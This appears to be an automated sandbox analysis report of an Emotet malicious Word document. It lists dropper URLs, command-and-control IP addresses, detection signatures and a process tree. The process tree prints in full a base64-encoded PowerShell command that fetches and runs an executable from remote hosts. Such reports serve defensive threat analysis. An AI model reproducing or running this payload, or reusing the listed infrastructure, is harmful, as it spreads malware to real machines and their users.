Analysis

  • max time kernel
    138s
  • max time network
    136s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    17/08/2020, 14:46

General

  • Target
    emotet_e3_64aa5fd432306fb5f774ca8935b18bf0c0d2ff391851d4315c33abf6daed40c4_2020-08-17__144553._doc.doc
  • Size 232KB
  • Sample200817-cjdmc6zza6
  • SHA256 64aa5fd432306fb5f774ca8935b18bf0c0d2ff391851d4315c33abf6daed40c4
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://muliarental.com/f9u8w-mrs-88/VWVA/

  • exe.dropper

    https://dev.dosily.in/wp-content/qyY/

  • exe.dropper

    http://behnasan.com/wp-content/uZRqx/

  • exe.dropper

    http://www.leframe.com/zcMv/tATDYnJy/

  • exe.dropper

    http://runderfulthailand.com/jkats/LvJDvtg8270/

Extracted

Family
  • emotet

C2
  • 186.109.104.67:80

  • 185.86.148.68:443

  • 139.99.157.213:8080

  • 105.213.67.88:80

  • 190.53.144.120:80

  • 203.153.216.182:7080

  • 81.214.253.80:443

  • 195.201.56.70:8080

  • 201.213.177.139:80

  • 31.146.61.34:80

  • 177.144.130.105:443

  • 92.24.51.238:80

  • 197.83.232.19:80

  • 105.209.235.113:8080

  • 188.0.135.237:80

  • 176.9.93.82:7080

  • 190.164.75.175:80

  • 188.251.213.180:443

  • 87.106.231.60:8080

  • 113.161.148.81:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_64aa5fd432306fb5f774ca8935b18bf0c0d2ff391851d4315c33abf6daed40c4_2020-08-17__144553._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2736
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABKAGUAYQBlADkAaQB0AD0AJwBVAHEAXwB4AHYAdgBuACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAEMAdQBgAFIAaQB0AFkAcABSAGAAbwBUAE8AQwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABJAGUAcAA2AGoANQBtACAAPQAgACcAWQBjAGYAcQAnADsAJABYAF8AbABzAGcAZgB6AD0AJwBaAHkAMQA2ADEAeAAzACcAOwAkAEsAbQBrADMAcABvAGgAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABJAGUAcAA2AGoANQBtACsAJwAuAGUAeABlACcAOwAkAEwAdQBmAGcANQBqAGEAPQAnAEsAdQB0ADIAMwByADMAJwA7ACQASwAzAGwAYgAzAGgAMwA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBFAHQALgBXAGUAQgBDAEwAaQBFAG4AVAA7ACQAWABvAGoAYQB6AG8AdAA9ACcAaAB0AHQAcAA6AC8ALwBtAHUAbABpAGEAcgBlAG4AdABhAGwALgBjAG8AbQAvAGYAOQB1ADgAdwAtAG0AcgBzAC0AOAA4AC8AVgBXAFYAQQAvACoAaAB0AHQAcABzADoALwAvAGQAZQB2AC4AZABvAHMAaQBsAHkALgBpAG4ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AcQB5AFkALwAqAGgAdAB0AHAAOgAvAC8AYgBlAGgAbgBhAHMAYQBuAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdQBaAFIAcQB4AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbABlAGYAcgBhAG0AZQAuAGMAbwBtAC8AegBjAE0AdgAvAHQAQQBUAEQAWQBuAEoAeQAvACoAaAB0AHQAcAA6AC8ALwByAHUAbgBkAGUAcgBmAHUAbAB0AGgAYQBpAGwAYQBuAGQALgBjAG8AbQAvAGoAawBhAHQAcwAvAEwAdgBKAEQAdgB0AGcAOAAyADcAMAAvACcALgAiAHMAcABsAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARQA4AGcAbwA1AHMAOQA9ACcATwBfAGIAZQAyAGYAOQAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgBiADIAZgBpAHIAegAgAGkAbgAgACQAWABvAGoAYQB6AG8AdAApAHsAdAByAHkAewAkAEsAMwBsAGIAMwBoADMALgAiAGQATwB3AG4AbABgAE8AYABBAEQAZgBgAGkATABlACIAKAAkAFIAYgAyAGYAaQByAHoALAAgACQASwBtAGsAMwBwAG8AaAApADsAJABWAGoAcwB0AGMAcgB3AD0AJwBaAG0AYwB4AHgAOQAzACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQASwBtAGsAMwBwAG8AaAApAC4AIgBMAGAAZQBOAEcAYABUAGgAIgAgAC0AZwBlACAAMgA5ADkANAA5ACkAIAB7ACYAKAAnAEkAJwArACcAbgAnACsAJwB2AG8AawBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAEsAbQBrADMAcABvAGgAKQA7ACQAUgB4ADUAcgBvAGsAMAA9ACcASgB4ADUAaQA4AGkAawAnADsAYgByAGUAYQBrADsAJABQADkAdABfAGkAMAAyAD0AJwBOAHAAcgBwAGwAZgB3ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AaABjAHMAZAByAHAAPQAnAE8AOAAxADUANABwAGQAJwA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3368
    • C:\Users\Admin\AppData\Local\Temp\Ycfq.exe
      "C:\Users\Admin\AppData\Local\Temp\Ycfq.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:68
      • C:\Windows\SysWOW64\ir50_qcoriginal\WebClnt.exe
        "C:\Windows\SysWOW64\ir50_qcoriginal\WebClnt.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:864

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/68-15-0x0000000002200000-0x000000000220C000-memory.dmp

        memory/864-18-0x0000000000630000-0x000000000063C000-memory.dmp

        memory/2736-6-0x0000021AE25D7000-0x0000021AE25D9000-memory.dmp

        memory/2736-0-0x00007FFB52AB0000-0x00007FFB53176000-memory.dmp

        memory/2736-5-0x0000021AE25D7000-0x0000021AE25D9000-memory.dmp

        memory/3368-10-0x000001F6F4D70000-0x000001F6F4D71000-memory.dmp

        memory/3368-11-0x000001F6F4DA0000-0x000001F6F4DA1000-memory.dmp

        memory/3368-9-0x00007FFB4A560000-0x00007FFB4AF4C000-memory.dmp